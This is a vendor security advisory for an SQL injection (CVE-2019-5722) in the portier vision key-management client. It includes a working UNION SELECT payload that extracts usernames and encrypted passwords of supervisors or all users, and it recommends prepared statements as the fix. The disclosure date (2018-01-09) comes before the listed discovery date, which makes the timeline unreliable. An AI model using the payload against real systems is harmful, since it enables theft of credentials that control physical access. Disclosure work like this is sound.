Portier Vision 4.4.4.2 / 4.4.4.6 – SQL Injection
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2018-012 Product: PORTIER Affected Version(s): 4.4.4.2, 4.4.4.6 Tested Version(s): 4.4.4.2, 4.4.4.6 Vulnerability Type: SQL Injection (CWE-89) Risk Level: HIGH Solution Status: Open Manufacturer Notification: 2018-06-13 Solution Date: - Public Disclosure: 2018-01-09 CVE Reference: CVE-2019-5722 Author of Advisory: Christian Pappas, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: portier vision is a rich client application for managing door keys allocated to certain persons or group of persons. The manufacturer describes the product as follows (see [1]): "portierA(r) vision * manages locking systems and access rights in a modern and efficient manner * stores all the details for every single key * provides you lightning fast with all the information you need in a format you choose portier A(r)vision easy - secure - fast, our idea of software." Due to a lack of user input validation in the parameter handling, portier is application wide vulnerable to various SQL injections, including the login form. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: Many input fields are vulnerable to SQL injection. An SQL injection allows typically an attacker to execute almost arbitrary SQL commands. It is possible to break out of the original query with an uptick, append a custom query and fix the syntax. The application supports Firebird and MS SQL database servers. Stacked queries do not work with both database servers. One of the vulnerable input fields is the user name within the login form. This allows even unauthenticated users to exploit the application. Because the authentication process is implemented in the client application, the SQL injection in the login form does not allow a login bypass. The most promising real-life attack among other possible attacks is to steal the encrypted passwords of users with supervisor privileges. Within this application Supervisors have the highest privileges for administrative purpose. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof-of-Concept (PoC): This proof-of-concept will exploit the vulnerability in the search form for a key ring number, but several other vulnerable input fields do exist. Because this is not a web application, most of the publicly available tools for exploiting SQL injections will not work out of the box. Due to the use of plain text communication between application and database, server it is easy to sniff the traffic and capture the queries made by the application. That comes in handy for building a valid attack vector since the flaw is exploited manually. Searching for the key ring number 'TRACKME', the application queries the database server as following: SELECT BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3 FROM BUND BUND LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID WHERE ( 1 = 1 ) AND (upper(BUND.BUNDNUMMER) LIKE 'TRACKME%') To get hold of the passwords for all supervisor users in the application, it is necessary to break out of the the original, inject the attack vector, and finally fix the SQL syntax: ') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a 'systemuser' within the previous shown attack vector can be replaced by '1' to get the passwords of all users, no matter if they have supervisor privileges or not. In both cases, the username will be displayed in the application next to their password. The attack vector embedded in the client's query looks like the following: SELECT BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3 FROM BUND BUND LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID WHERE ( 1 = 1 ) AND (upper(BUND.BUNDNUMMER) LIKE '') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a%') The Firebird, unlike the MS SQL, database do not support UNION SELECT query if the entire query is terminated by an ORDER BY statement. Thus the number of out of the application exploitable input fields is with an MS SQL database slightly smaller. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Make application wide use of prepared statements for querying the database. SySS GmbH is not aware of a solution to the reported security issue provided by the manufacturer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2018-05-23: Vulnerability discovered 2018-06-13: Vulnerability reported to manufacturer 2018-01-09: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for PORTIER https://portier.de/ [2] SySS Security Advisory SYSS-2018-012 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-012.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Pappas of SySS GmbH. E-Mail: christian.pappas@syss.de Public Key: ://www.syss.de/fileadmin/dokumente/PGPKeys/Christian_Pappas.asc Key ID: 0xC5D4E3BA8BA76B25 Key Fingerprint: 5655 FDBE 40DF 0CC4 F143 9877 C5D4 E3BA 8BA7 6B25 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQEzBAEBCgAdFiEEVlX9vkDfDMTxQ5h3xdTjuounayUFAlw18coACgkQxdTjuoun ayX3Ugf/QMDATk/V34U/l66+qn8zHwjL+aNq/+WlTVikCn6I3R2uU6LzXDvgmgiF qJEVn/4McQkdHuV4trSaJp0oz0RG/aQbQQp289tbn41xIdhdWNI2Gj2qhDdqUqtG bJYIIZ8e2TjQU33J3OJfo68eOprWyq+UJg8abgwiLuUMxlFESeSnwwkxvqSToiPl TIg/A87exJjtpbwM7OSwxfUhr4/VGSv8UTp3v6a+9fiA2G1HBMmT3zOuy882V2QP D1gr6/lB9J7gTiGLgB1fWtL0BtmBTivtOylc/FVnKiqSzt7v2MwoBzLEc3HsA2mY rAIgS1s9cBfoPIkvRHzV8WHyr+CyAA== =q3CM -----END PGP SIGNATURE----- |